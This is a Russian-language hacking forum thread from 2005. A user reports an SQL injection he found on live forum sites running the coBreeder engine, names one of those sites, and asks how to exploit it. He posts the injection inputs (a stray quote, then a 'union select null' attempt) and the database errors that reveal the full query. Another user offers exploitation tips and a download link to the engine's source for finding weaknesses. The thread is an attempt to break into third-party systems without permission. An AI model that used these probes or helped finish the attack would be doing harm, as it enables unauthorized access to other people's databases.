Форумы Странная sql бага на самописном движке форума..

Discussion in 'Уязвимости CMS/форумов' started by zodchiy, 10 Jun 2005.

  1. zodchiy

    zodchiy New Member

    Joined:
    10 Jun 2005
    Messages:
    12
    Likes Received:
    1
    Reputations:
    1
    нашол недавно на самописном форуме....

    когда вводиш
    .php?id%5D=20'

    Code:
     DB Error: syntax error<br />
    <!-- 
                SELECT p.id, p.name, p.added_date, p.added_time, p.is_active, p.allow_comments, p.is_moderated, p.front_page,
                       p.title, p.content, p.source, p.source_url, p.views, p.rating, p.poll_question,
                       p.rating_votes, p.comments_count, p.keywords,
                       ca.id AS category_id, ca.name AS category_name,
                       ca.title AS category_title,
                       r.id AS rubric_id, r.name AS rubric_name, r.title AS rubric_title,
                       u.id AS user_id, u.username
                FROM cb_publications AS p
                LEFT JOIN cb_categories AS ca
                  ON (p.category_id = ca.id)
                LEFT JOIN cb_rubrics AS r
                  ON (p.rubric_id = r.id)
                LEFT JOIN cb_users AS u
                  ON (p.user_id = u.id)
            
                        
                        WHERE 1 = 1
                        AND p.is_active = 1
                        ORDER BY p.added_date DESC, p.added_time DESC LIMIT 0, 20' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 19] -->
    
    
    как это можно использоват для sql аттаки....э в смысле использовать-то можно как я понимаю, но стандартно не получается, - при всставке конструкции UNION вылазит -

    пример:

    .php?id%5D=20+union+select+null/*
    Code:
    DB Error: unknown error<br />
    <!-- 
                SELECT p.id, p.name, p.added_date, p.added_time, p.is_active, p.allow_comments, p.is_moderated, p.front_page,
                       p.title, p.content, p.source, p.source_url, p.views, p.rating, p.poll_question,
                       p.rating_votes, p.comments_count, p.keywords,
                       ca.id AS category_id, ca.name AS category_name,
                       ca.title AS category_title,
                       r.id AS rubric_id, r.name AS rubric_name, r.title AS rubric_title,
                       u.id AS user_id, u.username
                FROM cb_publications AS p
                LEFT JOIN cb_categories AS ca
                  ON (p.category_id = ca.id)
                LEFT JOIN cb_rubrics AS r
                  ON (p.rubric_id = r.id)
                LEFT JOIN cb_users AS u
                  ON (p.user_id = u.id)
            
                        
                        WHERE 1 = 1
                        AND p.is_active = 1
                        ORDER BY p.added_date DESC, p.added_time DESC LIMIT 0, 20 union select null/* [nativecode=1221 ** [B]Incorrect usage of UNION and ORDER BY [/B] ] -->
    
    
     
  2. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    не используй объединение(union)
     
  3. zodchiy

    zodchiy New Member

    Joined:
    10 Jun 2005
    Messages:
    12
    Likes Received:
    1
    Reputations:
    1
    а как тогда? не воткну в тему? чем тогда присоединять? тогда порсто выберет из базы и все....

    кстати это coBreeder
     
  4. zodchiy

    zodchiy New Member

    Joined:
    10 Jun 2005
    Messages:
    12
    Likes Received:
    1
    Reputations:
    1
    на kpnemo.ru таже херня...

    значит это не бага? нууу, в смысле бага, но которую использовать нельзя?
     
    #4 zodchiy, 10 Jun 2005
    Last edited: 10 Jun 2005
  5. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    я только недавно в новостях на этом форуме давал линк на скачку ПОЛНОЙ ВЕРСИИ CoBreeder'a....покопайся в исходниках, мож поможет.
     
    #5 k00p3r, 10 Jun 2005
    Last edited: 10 Jun 2005
  6. zodchiy

    zodchiy New Member

    Joined:
    10 Jun 2005
    Messages:
    12
    Likes Received:
    1
    Reputations:
    1
    ок, спасиб...
     
  7. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    Я только вспомнил, что там линк уже дохлый, вот здесь качай - http://www.webfile.ru/345619